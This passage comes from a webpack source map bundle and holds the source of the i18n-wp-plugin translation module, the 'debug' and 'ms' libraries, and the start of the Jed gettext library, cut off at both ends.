decimal places or options object (optional)\n * @return {string}         Formatted number as string\n */\nI18N.prototype.numberFormat = function( number ) {\n\tvar options = arguments[ 1 ] || {},\n\t\tdecimals = ( typeof options === 'number' ) ? options : options.decimals || 0,\n\t\tdecPoint = options.decPoint || this.state.numberFormatSettings.decimal_point || '.',\n\t\tthousandsSep = options.thousandsSep || this.state.numberFormatSettings.thousands_sep || ',';\n\n\treturn numberFormatPHPJS( number, decimals, decPoint, thousandsSep );\n};\n\nI18N.prototype.configure = function( options ) {\n\tassign( this, options || {} );\n\tthis.setLocale();\n};\n\nI18N.prototype.setLocale = function( localeData ) {\n\tif ( localeData && localeData[ '' ] && localeData[ '' ][ 'key-hash' ] ) {\n\t\tvar hashLength, minHashLength, maxHashLength, keyHash = localeData[ '' ][ 'key-hash' ];\n\n\t\tvar transform = function( string, hashLength ) {\n\t\t\tconst lookupPrefix = hashLength === false ? '' : String( hashLength );\n\t\t\tif ( typeof hashCache[ lookupPrefix + string ] !== 'undefined' ) {\n\t\t\t\treturn hashCache[ lookupPrefix + string ];\n\t\t\t}\n\t\t\tvar hash = sha1().update( string ).digest('hex');\n\n\t\t\tif ( hashLength ) {\n\t\t\t\treturn hashCache[ lookupPrefix + string ] = hash.substr( 0, hashLength );\n\t\t\t}\n\n\t\t\treturn hashCache[ lookupPrefix + string ] = hash;\n\t\t};\n\n\t\tvar generateLookup = function( hashLength ) {\n\t\t\treturn function( options ) {\n\t\t\t\tif ( options.context ) {\n\t\t\t\t\toptions.original = transform( options.context + String.fromCharCode( 4 ) + options.original, hashLength );\n\t\t\t\t\tdelete options.context;\n\t\t\t\t} else {\n\t\t\t\t\toptions.original = transform( options.original, hashLength );\n\t\t\t\t}\n\n\t\t\t\treturn options;\n\t\t\t};\n\t\t}\n\n\t\tif ( keyHash.substr( 0, 4 ) === 'sha1' ) {\n\t\t\tif ( keyHash.length === 4 ) {\n\t\t\t\ttranslationLookup.push( generateLookup( false ) );\n\t\t\t} else {\n\t\t\t\tvar variableHashLengthPos = keyHash.substr( 5 ).indexOf( '-' );\n\t\t\t\tif ( variableHashLengthPos < 0 ) {\n\t\t\t\t\thashLength = Number( keyHash.substr( 5 ) );\n\t\t\t\t\ttranslationLookup.push( generateLookup( hashLength ) );\n\t\t\t\t} else {\n\t\t\t\t\tminHashLength = Number( keyHash.substr( 5, variableHashLengthPos ) );\n\t\t\t\t\tmaxHashLength = Number( keyHash.substr( 6 + variableHashLengthPos ) );\n\n\t\t\t\t\tfor ( hashLength = minHashLength; hashLength <= maxHashLength; hashLength++ ) {\n\t\t\t\t\t\ttranslationLookup.push( generateLookup( hashLength ) );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// if localeData is not given, assumes default locale and reset\n\tif ( ! localeData || ! localeData[ '' ].localeSlug ) {\n\t\tthis.state.locale = { '': { localeSlug: this.defaultLocaleSlug } };\n\t} else if ( localeData[ '' ].localeSlug === this.state.localeSlug ) {\n\t\t// Exit if same data as current (comparing references only)\n\t\tif ( localeData === this.state.locale ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// merge new data into existing one\n\t\tassign( this.state.locale, localeData );\n\t} else {\n\t\tthis.state.locale = assign( {}, localeData );\n\t}\n\n\tthis.state.localeSlug = this.state.locale[ '' ].localeSlug;\n\n\tthis.state.jed = new Jed( {\n\t\tlocale_data: {\n\t\t\tmessages: this.state.locale\n\t\t}\n\t} );\n\n\n\t// Updates numberFormat preferences with settings from translations\n\tthis.state.numberFormatSettings.decimal_point = getTranslationFromJed(\n\t\tthis.state.jed,\n\t\tnormalizeTranslateArguments( [ decimal_point_translation_key ] )\n\t);\n\tthis.state.numberFormatSettings.thousands_sep = getTranslationFromJed(\n\t\tthis.state.jed,\n\t\tnormalizeTranslateArguments( [ thousands_sep_translation_key ] )\n\t);\n\n\t// If translation isn't set, define defaults.\n\tif ( this.state.numberFormatSettings.decimal_point === decimal_point_translation_key ) {\n\t\tthis.state.numberFormatSettings.decimal_point = '.';\n\t}\n\n\tif ( this.state.numberFormatSettings.thousands_sep === thousands_sep_translation_key ) {\n\t\tthis.state.numberFormatSettings.thousands_sep = ',';\n\t}\n\n\tthis.state.translations.clear();\n\tthis.stateObserver.emit( 'change' );\n};\n\nI18N.prototype.getLocale = function() {\n\treturn this.state.locale;\n};\n\n/**\n * Get the current locale slug.\n * @returns {string} The string representing the currently loaded locale\n **/\nI18N.prototype.getLocaleSlug = function() {\n\treturn this.state.localeSlug;\n};\n\n\n/**\n * Adds new translations to the locale data, overwriting any existing translations with a matching key\n **/\nI18N.prototype.addTranslations = function( localeData ) {\n\tfor ( var prop in localeData ) {\n\t\tif ( prop !== '' ) {\n\t\t\tthis.state.jed.options.locale_data.messages[prop] = localeData[prop];\n\t\t}\n\t}\n\n\tthis.state.translations.clear();\n\tthis.stateObserver.emit( 'change' );\n};\n\n\n/**\n * Checks whether the given original has a translation. Parameters are the same as for translate().\n *\n * @param  {string} original  the string to translate\n * @param  {string} plural    the plural string to translate (if applicable), original used as singular\n * @param  {object} options   properties describing translation requirements for given text\n * @return {boolean} whether a translation exists\n */\nI18N.prototype.hasTranslation = function() {\n\treturn !! getTranslation( this, normalizeTranslateArguments( arguments ) );\n}\n\n/**\n * Exposes single translation method, which is converted into its respective Jed method.\n * See sibling README\n * @param  {string} original  the string to translate\n * @param  {string} plural    the plural string to translate (if applicable), original used as singular\n * @param  {object} options   properties describing translation requirements for given text\n * @return {string|React-components} translated text or an object containing React children that can be inserted into a parent component\n */\nI18N.prototype.translate = function() {\n\tvar options, translation, sprintfArgs, errorMethod, optionsString, cacheable;\n\n\toptions = normalizeTranslateArguments( arguments );\n\n\tcacheable = ! options.components;\n\tif ( cacheable ) {\n\t\t// Safe JSON stringification here to catch Circular JSON error\n\t\t// caused by passing a React component into args where only scalars are allowed\n\t\ttry {\n\t\t\toptionsString = JSON.stringify( options );\n\t\t} catch ( e ) {\n\t\t\tcacheable = false;\n\t\t}\n\n\t\tif ( optionsString ) {\n\t\t\ttranslation = this.state.translations.get( optionsString );\n\t\t\t// Return the cached translation.\n\t\t\tif ( translation ) {\n\t\t\t\treturn translation;\n\t\t\t}\n\t\t}\n\t}\n\n\ttranslation = getTranslation( this, options );\n\tif ( ! translation ) {\n\t\t// This purposefully calls jed for a case where there is no translation,\n\t\t// so that jed gives us the expected object with English text.\n\t\ttranslation = getTranslationFromJed( this.state.jed, options );\n\t}\n\n\t// handle any string substitution\n\tif ( options.args ) {\n\t\tsprintfArgs = ( Array.isArray( options.args ) ) ? options.args.slice( 0 ) : [ options.args ];\n\t\tsprintfArgs.unshift( translation );\n\t\ttry {\n\t\t\ttranslation = Jed.sprintf.apply( Jed, sprintfArgs );\n\t\t} catch ( error ) {\n\t\t\tif ( ! window || ! window.console ) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\terrorMethod = this.throwErrors ? 'error' : 'warn';\n\t\t\tif ( typeof error !== 'string' ) {\n\t\t\t\twindow.console[ errorMethod ]( error );\n\t\t\t} else {\n\t\t\t\twindow.console[ errorMethod ]( 'i18n sprintf error:', sprintfArgs );\n\t\t\t}\n\t\t}\n\t}\n\n\t// interpolate any components\n\tif ( options.components ) {\n\t\ttranslation = interpolateComponents( {\n\t\t\tmixedString: translation,\n\t\t\tcomponents: options.components,\n\t\t\tthrowErrors: this.throwErrors\n\t\t} );\n\t}\n\n\t// run any necessary hooks\n\tthis.translateHooks.forEach( function( hook ) {\n\t\ttranslation = hook( translation, options );\n\t} );\n\n\tif ( cacheable ) {\n\t\tthis.state.translations.set( optionsString, translation );\n\t}\n\n\treturn translation;\n};\n\n/**\n * Causes i18n to re-render all translations.\n *\n * This can be necessary if an extension makes changes that i18n is unaware of\n * and needs those changes manifested immediately (e.g. adding an important\n * translation hook, or modifying the behaviour of an existing hook).\n *\n * If at all possible, react components should try to use the more local\n * updateTranslation() function inherited from the mixin.\n */\nI18N.prototype.reRenderTranslations = function() {\n\tdebug( 'Re-rendering all translations due to external request' );\n\tthis.state.translations.clear();\n\tthis.stateObserver.emit( 'change' );\n};\n\nI18N.prototype.registerComponentUpdateHook = function( callback ) {\n\tthis.componentUpdateHooks.push( callback );\n};\n\nI18N.prototype.registerTranslateHook = function( callback ) {\n\tthis.translateHooks.push( callback );\n};\n\nmodule.exports = I18N;\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/i18n-wp-plugin/lib/index.js\n// module id = 92\n// module chunks = 0 1 2 3 4 5","/**\n * This is the web browser implementation of `debug()`.\n *\n * Expose `debug()` as the module.\n */\n\nexports = module.exports = require('./debug');\nexports.log = log;\nexports.formatArgs = formatArgs;\nexports.save = save;\nexports.load = load;\nexports.useColors = useColors;\nexports.storage = 'undefined' != typeof chrome\n               && 'undefined' != typeof chrome.storage\n                  ? chrome.storage.local\n                  : localstorage();\n\n/**\n * Colors.\n */\n\nexports.colors = [\n  '#0000CC', '#0000FF', '#0033CC', '#0033FF', '#0066CC', '#0066FF', '#0099CC',\n  '#0099FF', '#00CC00', '#00CC33', '#00CC66', '#00CC99', '#00CCCC', '#00CCFF',\n  '#3300CC', '#3300FF', '#3333CC', '#3333FF', '#3366CC', '#3366FF', '#3399CC',\n  '#3399FF', '#33CC00', '#33CC33', '#33CC66', '#33CC99', '#33CCCC', '#33CCFF',\n  '#6600CC', '#6600FF', '#6633CC', '#6633FF', '#66CC00', '#66CC33', '#9900CC',\n  '#9900FF', '#9933CC', '#9933FF', '#99CC00', '#99CC33', '#CC0000', '#CC0033',\n  '#CC0066', '#CC0099', '#CC00CC', '#CC00FF', '#CC3300', '#CC3333', '#CC3366',\n  '#CC3399', '#CC33CC', '#CC33FF', '#CC6600', '#CC6633', '#CC9900', '#CC9933',\n  '#CCCC00', '#CCCC33', '#FF0000', '#FF0033', '#FF0066', '#FF0099', '#FF00CC',\n  '#FF00FF', '#FF3300', '#FF3333', '#FF3366', '#FF3399', '#FF33CC', '#FF33FF',\n  '#FF6600', '#FF6633', '#FF9900', '#FF9933', '#FFCC00', '#FFCC33'\n];\n\n/**\n * Currently only WebKit-based Web Inspectors, Firefox >= v31,\n * and the Firebug extension (any Firefox version) are known\n * to support \"%c\" CSS customizations.\n *\n * TODO: add a `localStorage` variable to explicitly enable/disable colors\n */\n\nfunction useColors() {\n  // NB: In an Electron preload script, document will be defined but not fully\n  // initialized. Since we know we're in Chrome, we'll just detect this case\n  // explicitly\n  if (typeof window !== 'undefined' && window.process && window.process.type === 'renderer') {\n    return true;\n  }\n\n  // Internet Explorer and Edge do not support colors.\n  if (typeof navigator !== 'undefined' && navigator.userAgent && navigator.userAgent.toLowerCase().match(/(edge|trident)\\/(\\d+)/)) {\n    return false;\n  }\n\n  // is webkit? http://stackoverflow.com/a/16459606/376773\n  // document is undefined in react-native: https://github.com/facebook/react-native/pull/1632\n  return (typeof document !== 'undefined' && document.documentElement && document.documentElement.style && document.documentElement.style.WebkitAppearance) ||\n    // is firebug? http://stackoverflow.com/a/398120/376773\n    (typeof window !== 'undefined' && window.console && (window.console.firebug || (window.console.exception && window.console.table))) ||\n    // is firefox >= v31?\n    // https://developer.mozilla.org/en-US/docs/Tools/Web_Console#Styling_messages\n    (typeof navigator !== 'undefined' && navigator.userAgent && navigator.userAgent.toLowerCase().match(/firefox\\/(\\d+)/) && parseInt(RegExp.$1, 10) >= 31) ||\n    // double check webkit in userAgent just in case we are in a worker\n    (typeof navigator !== 'undefined' && navigator.userAgent && navigator.userAgent.toLowerCase().match(/applewebkit\\/(\\d+)/));\n}\n\n/**\n * Map %j to `JSON.stringify()`, since no Web Inspectors do that by default.\n */\n\nexports.formatters.j = function(v) {\n  try {\n    return JSON.stringify(v);\n  } catch (err) {\n    return '[UnexpectedJSONParseError]: ' + err.message;\n  }\n};\n\n\n/**\n * Colorize log arguments if enabled.\n *\n * @api public\n */\n\nfunction formatArgs(args) {\n  var useColors = this.useColors;\n\n  args[0] = (useColors ? '%c' : '')\n    + this.namespace\n    + (useColors ? ' %c' : ' ')\n    + args[0]\n    + (useColors ? '%c ' : ' ')\n    + '+' + exports.humanize(this.diff);\n\n  if (!useColors) return;\n\n  var c = 'color: ' + this.color;\n  args.splice(1, 0, c, 'color: inherit')\n\n  // the final \"%c\" is somewhat tricky, because there could be other\n  // arguments passed either before or after the %c, so we need to\n  // figure out the correct index to insert the CSS into\n  var index = 0;\n  var lastC = 0;\n  args[0].replace(/%[a-zA-Z%]/g, function(match) {\n    if ('%%' === match) return;\n    index++;\n    if ('%c' === match) {\n      // we only are interested in the *last* %c\n      // (the user may have provided their own)\n      lastC = index;\n    }\n  });\n\n  args.splice(lastC, 0, c);\n}\n\n/**\n * Invokes `console.log()` when available.\n * No-op when `console.log` is not a \"function\".\n *\n * @api public\n */\n\nfunction log() {\n  // this hackery is required for IE8/9, where\n  // the `console.log` function doesn't have 'apply'\n  return 'object' === typeof console\n    && console.log\n    && Function.prototype.apply.call(console.log, console, arguments);\n}\n\n/**\n * Save `namespaces`.\n *\n * @param {String} namespaces\n * @api private\n */\n\nfunction save(namespaces) {\n  try {\n    if (null == namespaces) {\n      exports.storage.removeItem('debug');\n    } else {\n      exports.storage.debug = namespaces;\n    }\n  } catch(e) {}\n}\n\n/**\n * Load `namespaces`.\n *\n * @return {String} returns the previously persisted debug modes\n * @api private\n */\n\nfunction load() {\n  var r;\n  try {\n    r = exports.storage.debug;\n  } catch(e) {}\n\n  // If debug isn't set in LS, and we're in Electron, try to load $DEBUG\n  if (!r && typeof process !== 'undefined' && 'env' in process) {\n    r = process.env.DEBUG;\n  }\n\n  return r;\n}\n\n/**\n * Enable namespaces listed in `localStorage.debug` initially.\n */\n\nexports.enable(load());\n\n/**\n * Localstorage attempts to return the localstorage.\n *\n * This is necessary because safari throws\n * when a user disables cookies/localstorage\n * and you attempt to access it.\n *\n * @return {LocalStorage}\n * @api private\n */\n\nfunction localstorage() {\n  try {\n    return window.localStorage;\n  } catch (e) {}\n}\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/i18n-wp-plugin/node_modules/debug/src/browser.js\n// module id = 93\n// module chunks = 0 1 2 3 4 5","\n/**\n * This is the common logic for both the Node.js and web browser\n * implementations of `debug()`.\n *\n * Expose `debug()` as the module.\n */\n\nexports = module.exports = createDebug.debug = createDebug['default'] = createDebug;\nexports.coerce = coerce;\nexports.disable = disable;\nexports.enable = enable;\nexports.enabled = enabled;\nexports.humanize = require('ms');\n\n/**\n * Active `debug` instances.\n */\nexports.instances = [];\n\n/**\n * The currently active debug mode names, and names to skip.\n */\n\nexports.names = [];\nexports.skips = [];\n\n/**\n * Map of special \"%n\" handling functions, for the debug \"format\" argument.\n *\n * Valid key names are a single, lower or upper-case letter, i.e. \"n\" and \"N\".\n */\n\nexports.formatters = {};\n\n/**\n * Select a color.\n * @param {String} namespace\n * @return {Number}\n * @api private\n */\n\nfunction selectColor(namespace) {\n  var hash = 0, i;\n\n  for (i in namespace) {\n    hash  = ((hash << 5) - hash) + namespace.charCodeAt(i);\n    hash |= 0; // Convert to 32bit integer\n  }\n\n  return exports.colors[Math.abs(hash) % exports.colors.length];\n}\n\n/**\n * Create a debugger with the given `namespace`.\n *\n * @param {String} namespace\n * @return {Function}\n * @api public\n */\n\nfunction createDebug(namespace) {\n\n  var prevTime;\n\n  function debug() {\n    // disabled?\n    if (!debug.enabled) return;\n\n    var self = debug;\n\n    // set `diff` timestamp\n    var curr = +new Date();\n    var ms = curr - (prevTime || curr);\n    self.diff = ms;\n    self.prev = prevTime;\n    self.curr = curr;\n    prevTime = curr;\n\n    // turn the `arguments` into a proper Array\n    var args = new Array(arguments.length);\n    for (var i = 0; i < args.length; i++) {\n      args[i] = arguments[i];\n    }\n\n    args[0] = exports.coerce(args[0]);\n\n    if ('string' !== typeof args[0]) {\n      // anything else let's inspect with %O\n      args.unshift('%O');\n    }\n\n    // apply any `formatters` transformations\n    var index = 0;\n    args[0] = args[0].replace(/%([a-zA-Z%])/g, function(match, format) {\n      // if we encounter an escaped % then don't increase the array index\n      if (match === '%%') return match;\n      index++;\n      var formatter = exports.formatters[format];\n      if ('function' === typeof formatter) {\n        var val = args[index];\n        match = formatter.call(self, val);\n\n        // now we need to remove `args[index]` since it's inlined in the `format`\n        args.splice(index, 1);\n        index--;\n      }\n      return match;\n    });\n\n    // apply env-specific formatting (colors, etc.)\n    exports.formatArgs.call(self, args);\n\n    var logFn = debug.log || exports.log || console.log.bind(console);\n    logFn.apply(self, args);\n  }\n\n  debug.namespace = namespace;\n  debug.enabled = exports.enabled(namespace);\n  debug.useColors = exports.useColors();\n  debug.color = selectColor(namespace);\n  debug.destroy = destroy;\n\n  // env-specific initialization logic for debug instances\n  if ('function' === typeof exports.init) {\n    exports.init(debug);\n  }\n\n  exports.instances.push(debug);\n\n  return debug;\n}\n\nfunction destroy () {\n  var index = exports.instances.indexOf(this);\n  if (index !== -1) {\n    exports.instances.splice(index, 1);\n    return true;\n  } else {\n    return false;\n  }\n}\n\n/**\n * Enables a debug mode by namespaces. This can include modes\n * separated by a colon and wildcards.\n *\n * @param {String} namespaces\n * @api public\n */\n\nfunction enable(namespaces) {\n  exports.save(namespaces);\n\n  exports.names = [];\n  exports.skips = [];\n\n  var i;\n  var split = (typeof namespaces === 'string' ? namespaces : '').split(/[\\s,]+/);\n  var len = split.length;\n\n  for (i = 0; i < len; i++) {\n    if (!split[i]) continue; // ignore empty strings\n    namespaces = split[i].replace(/\\*/g, '.*?');\n    if (namespaces[0] === '-') {\n      exports.skips.push(new RegExp('^' + namespaces.substr(1) + '$'));\n    } else {\n      exports.names.push(new RegExp('^' + namespaces + '$'));\n    }\n  }\n\n  for (i = 0; i < exports.instances.length; i++) {\n    var instance = exports.instances[i];\n    instance.enabled = exports.enabled(instance.namespace);\n  }\n}\n\n/**\n * Disable debug output.\n *\n * @api public\n */\n\nfunction disable() {\n  exports.enable('');\n}\n\n/**\n * Returns true if the given mode name is enabled, false otherwise.\n *\n * @param {String} name\n * @return {Boolean}\n * @api public\n */\n\nfunction enabled(name) {\n  if (name[name.length - 1] === '*') {\n    return true;\n  }\n  var i, len;\n  for (i = 0, len = exports.skips.length; i < len; i++) {\n    if (exports.skips[i].test(name)) {\n      return false;\n    }\n  }\n  for (i = 0, len = exports.names.length; i < len; i++) {\n    if (exports.names[i].test(name)) {\n      return true;\n    }\n  }\n  return false;\n}\n\n/**\n * Coerce `val`.\n *\n * @param {Mixed} val\n * @return {Mixed}\n * @api private\n */\n\nfunction coerce(val) {\n  if (val instanceof Error) return val.stack || val.message;\n  return val;\n}\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/i18n-wp-plugin/node_modules/debug/src/debug.js\n// module id = 94\n// module chunks = 0 1 2 3 4 5","/**\n * Helpers.\n */\n\nvar s = 1000;\nvar m = s * 60;\nvar h = m * 60;\nvar d = h * 24;\nvar y = d * 365.25;\n\n/**\n * Parse or format the given `val`.\n *\n * Options:\n *\n *  - `long` verbose formatting [false]\n *\n * @param {String|Number} val\n * @param {Object} [options]\n * @throws {Error} throw an error if val is not a non-empty string or a number\n * @return {String|Number}\n * @api public\n */\n\nmodule.exports = function(val, options) {\n  options = options || {};\n  var type = typeof val;\n  if (type === 'string' && val.length > 0) {\n    return parse(val);\n  } else if (type === 'number' && isNaN(val) === false) {\n    return options.long ? fmtLong(val) : fmtShort(val);\n  }\n  throw new Error(\n    'val is not a non-empty string or a valid number. val=' +\n      JSON.stringify(val)\n  );\n};\n\n/**\n * Parse the given `str` and return milliseconds.\n *\n * @param {String} str\n * @return {Number}\n * @api private\n */\n\nfunction parse(str) {\n  str = String(str);\n  if (str.length > 100) {\n    return;\n  }\n  var match = /^((?:\\d+)?\\.?\\d+) *(milliseconds?|msecs?|ms|seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|years?|yrs?|y)?$/i.exec(\n    str\n  );\n  if (!match) {\n    return;\n  }\n  var n = parseFloat(match[1]);\n  var type = (match[2] || 'ms').toLowerCase();\n  switch (type) {\n    case 'years':\n    case 'year':\n    case 'yrs':\n    case 'yr':\n    case 'y':\n      return n * y;\n    case 'days':\n    case 'day':\n    case 'd':\n      return n * d;\n    case 'hours':\n    case 'hour':\n    case 'hrs':\n    case 'hr':\n    case 'h':\n      return n * h;\n    case 'minutes':\n    case 'minute':\n    case 'mins':\n    case 'min':\n    case 'm':\n      return n * m;\n    case 'seconds':\n    case 'second':\n    case 'secs':\n    case 'sec':\n    case 's':\n      return n * s;\n    case 'milliseconds':\n    case 'millisecond':\n    case 'msecs':\n    case 'msec':\n    case 'ms':\n      return n;\n    default:\n      return undefined;\n  }\n}\n\n/**\n * Short format for `ms`.\n *\n * @param {Number} ms\n * @return {String}\n * @api private\n */\n\nfunction fmtShort(ms) {\n  if (ms >= d) {\n    return Math.round(ms / d) + 'd';\n  }\n  if (ms >= h) {\n    return Math.round(ms / h) + 'h';\n  }\n  if (ms >= m) {\n    return Math.round(ms / m) + 'm';\n  }\n  if (ms >= s) {\n    return Math.round(ms / s) + 's';\n  }\n  return ms + 'ms';\n}\n\n/**\n * Long format for `ms`.\n *\n * @param {Number} ms\n * @return {String}\n * @api private\n */\n\nfunction fmtLong(ms) {\n  return plural(ms, d, 'day') ||\n    plural(ms, h, 'hour') ||\n    plural(ms, m, 'minute') ||\n    plural(ms, s, 'second') ||\n    ms + ' ms';\n}\n\n/**\n * Pluralization helper.\n */\n\nfunction plural(ms, n, name) {\n  if (ms < n) {\n    return;\n  }\n  if (ms < n * 1.5) {\n    return Math.floor(ms / n) + ' ' + name;\n  }\n  return Math.ceil(ms / n) + ' ' + name + 's';\n}\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/ms/index.js\n// module id = 95\n// module chunks = 0 1 2 3 4 5","/**\n * @preserve jed.js v0.5.0beta https://github.com/SlexAxton/Jed\n */\n/*\n-----------\nA gettext compatible i18n library for modern JavaScript Applications\n\nby Alex Sexton - AlexSexton [at] gmail - @SlexAxton\nWTFPL license for use\nDojo CLA for contributions\n\nJed offers the entire applicable GNU gettext spec'd set of\nfunctions, but also offers some nicer wrappers around them.\nThe api for gettext was written for a language with no function\noverloading, so Jed allows a little more of that.\n\nMany thanks to Joshua I. Miller - unrtst@cpan.org - who wrote\ngettext.js back in 2008. I was able to vet a lot of my ideas\nagainst his. I also made sure Jed passed against his tests\nin order to offer easy upgrades -- jsgettext.berlios.de\n*/\n(function (root, undef) {\n\n  // Set up some underscore-style functions, if you already have\n  // underscore, feel free to delete this section, and use it\n  // directly, however, the amount of functions used doesn't\n  // warrant having underscore as a full dependency.\n  // Underscore 1.3.0 was used to port and is licensed\n  // under the MIT License by Jeremy Ashkenas.\n  var ArrayProto    = Array.prototype,\n      ObjProto      = Object.prototype,\n      slice         = ArrayProto.slice,\n      hasOwnProp    = ObjProto.hasOwnProperty,\n      nativeForEach = ArrayProto.forEach,\n      breaker       = {};\n\n  // We're not using the OOP style _ so we don't need the\n  // extra level of indirection. This still means that you\n  // sub out for real `_` though.\n  var _ = {\n    forEach : function( obj, iterator, context ) {\n      var i, l, key;\n      if ( obj === null ) {\n        return;\n      }\n\n      if ( nativeForEach && obj.forEach === nativeForEach ) {\n        obj.forEach( iterator, context );\n      }\n      else if ( obj.length === +obj.length ) {\n        for ( i = 0, l = obj.length; i < l; i++ ) {\n          if ( i in obj && iterator.call( context, obj[i], i, obj ) === breaker ) {\n            return;\n          }\n        }\n      }\n      else {\n        for ( key in obj) {\n          if ( hasOwnProp.call( obj, key ) ) {\n            if ( iterator.call (context, obj[key], key, obj ) === breaker ) {\n              return;\n            }\n          }\n        }\n      }\n    },\n    extend : function( obj ) {\n      this.forEach( slice.call( arguments, 1 ), function ( source ) {\n        for ( var prop in source ) {\n          obj[prop] = source[prop];\n        }\n      });\n      return obj;\n    }\n  };\n  // END Miniature underscore impl\n\n  // Jed is a constructor function\n  var Jed = function ( options ) {\n    // Some minimal defaults\n    this.defaults = {\n      \"locale_data\" : {\n        \"messages\" : {\n          \"\" : {\n            \"domain\"       : \"messages\",\n            \"lang\"         : \"en\",\n            \"plural_forms\" : \"nplurals=2; plural=(n != 1);\"\n          }\n          // There are no default keys, though\n        }\n      },\n      // The default domain if one is missing\n      \"domain\" : \"messages\",\n      // enable debug mode to log untranslated strings to the console\n      \"debug\" : false\n    };\n\n    // Mix in the sent options with the default options\n    this.options = _.extend( {}, this.defaults, options );\n    this.textdomain( this.options.domain );\n\n    if ( options.domain && ! this.options.locale_data[ this.options.domain ] ) {\n      throw new Error('Text domain set to non-existent domain: `' + options.domain + '`');\n    }\n  };\n\n  // The gettext spec sets this character as the default\n  // delimiter for context lookups.\n  // e.g.: context\\u0004key\n  // If your translation company uses something different,\n  // just change this at any time and it will use that instead.\n  Jed.context_delimiter = String.fromCharCode( 4 );\n\n  function getPluralFormFunc ( plural_form_string ) {\n    return Jed.PF.compile( plural_form_string || \"nplurals=2; plural=(n != 1);\");\n  }\n\n  function Chain( key, i18n ){\n    this._key = key;\n    this._i18n = i18n;\n  }\n\n  // Create a chainable api for adding args prettily\n  _.extend( Chain.prototype, {\n    onDomain : function ( domain ) {\n      this._domain = domain;\n      return this;\n    },\n    withContext : function ( context ) {\n      this._context = context;\n      return this;\n    },\n    ifPlural : function ( num, pkey ) {\n      this._val = num;\n      this._pkey = pkey;\n      return this;\n    },\n    fetch : function ( sArr ) {\n      if ( {}.toString.call( sArr ) != '[object Array]' ) {\n        sArr = [].slice.call(arguments, 0);\n      }\n      return ( sArr && sArr.length ? Jed.sprintf : function(x){ return x; } )(\n        this._i18n.dcnpgettext(this._domain, this._context, this._key, this._pkey, this._val),\n        sArr\n      );\n    }\n  });\n\n  // Add functions to the Jed prototype.\n  // These will be the functions on the object that's returned\n  // from creating a `new Jed()`\n  // These seem redundant, but they gzip pretty well.\n  _.extend( Jed.prototype, {\n    // The sexier api start point\n    translate : function ( key ) {\n      return new Chain( key, this );\n    },\n\n    textdomain : function ( domain ) {\n      if ( ! domain ) {\n        return this._textdomain;\n      }\n      this._textdomain = domain;\n    },\n\n    gettext : function ( key ) {\n      return this.dcnpgettext.call( this, undef, undef, key );\n    },\n\n    dgettext : function ( domain, key ) {\n     return this.dcnpgettext.call( this, domain, undef, key );\n    },\n\n    dcgettext : function ( domain , key /*, category */ ) {\n      // Ignores the category anyways\n      return this.dcnpgettext.call( this, domain, undef, key );\n    },\n\n    ngettext : function ( skey, pkey, val ) {\n      return this.dcnpgettext.call( this, undef, undef, skey, pkey, val );\n    },\n\n    dngettext : function ( domain, skey, pkey, val ) {\n      return this.dcnpgettext.call( this, domain, undef, skey, pkey, val );\n    },\n\n    dcngettext : function ( domain, skey, pkey, val/*, category */) {\n      return this.dcnpgettext.call( this, domain, undef, skey, pkey, val );\n    },\n\n    pgettext : function ( context, key ) {\n      return this.dcnpgettext.call( this, undef, context, key );\n    },\n\n    dpgettext : function ( domain, context, key ) {\n      return this.dcnpgettext.call( this, domain, context, key );\n    },\n\n    dcpgettext : function ( domain, context, key/*, category */) {\n      return this.dcnpgettext.call( this, domain, context, key );\n    },\n\n    npgettext : function ( context, skey, pkey, val ) {\n      return this.dcnpgettext.call( this, undef, context, skey, pkey, val );\n    },\n\n    dnpgettext : function ( domain, context, skey, pkey, val ) {\n      return this.dcnpgettext.call( this, domain, context, skey, pkey, val );\n    },\n\n    // The most fully qualified gettext function. It has every option.\n    // Since it has every option, we can use it from every other method.\n    // This is the bread and butter.\n    // Technically there should be one more argument in this function for 'Category',\n    // but since we never use it, we might as well not waste the bytes to define it.\n    dcnpgettext : function ( domain, context, singular_key, plural_key, val ) {\n      // Set some defaults\n\n      plural_key = plural_key || singular_key;\n\n      // Use the global domain default if one\n      // isn't explicitly passed in\n      domain = domain || this._textdomain;\n\n      var fallback;\n\n      // Handle special cases\n\n      // No options found\n      if ( ! this.options ) {\n        // There's likely something wrong, but we'll return the correct key for english\n        // We do this by instantiating a brand new Jed instance with the default set\n        // for everything that could be broken.\n        fallback = new Jed();\n        return fallback.dcnpgettext.call( fallback, undefined, undefined, singular_key, plural_key, val );\n      }\n\n      // No translation data provided\n      if ( ! this.options.locale_data ) {\n        throw new Error('No locale data provided.');\n      }\n\n      if ( ! this.options.locale_data[ domain ] ) {\n        throw new Error('Domain `' + domain + '` was not found.');\n      }\n\n      if ( ! this.options.locale_data[ domain ][ \"\" ] ) {\n        throw new Error('No locale meta information provided.');\n      }\n\n      // Make sure we have a truthy key. Otherwise we might start looking\n      // into the empty string key, which is the options for the locale\n      // data.\n      if ( ! singular_key ) {\n        throw new Error('No translation key found.');\n      }\n\n      var key  = context ? context + Jed.context_delimiter + singular_key : singular_key,\n          locale_data = this.options.locale_data,\n          dict = locale_data[ domain ],\n          defaultConf = (locale_data.messages || this.defaults.locale_data.messages)[\"\"],\n          pluralForms = dict[\"\"].plural_forms || dict[\"\"][\"Plural-Forms\"] || dict[\"\"][\"plural-forms\"] || defaultConf.plural_forms || defaultConf[\"Plural-Forms\"] || defaultConf[\"plural-forms\"],\n          val_list,\n          res;\n\n      var val_idx;\n      if (val === undefined) {\n        // No value passed in; assume singular key lookup.\n        val_idx = 1;\n\n      } else {\n        // Value has been passed in; use plural-forms calculations.\n\n        // Handle invalid numbers, but try casting strings for good measure\n        if ( typeof val != 'number' ) {\n          val = parseInt( val, 10 );\n\n          if ( isNaN( val ) ) {\n            throw new Error('The number that was passed in is not a number.');\n          }\n        }\n\n        val_idx = getPluralFormFunc(pluralForms)(val) + 1;\n      }\n\n      // Throw an error if a domain isn't found\n      if ( ! dict ) {\n        throw new Error('No domain named `' + domain + '` could be found.');\n      }\n\n      val_list = dict[ key ];\n\n      // If there is no match, then revert back 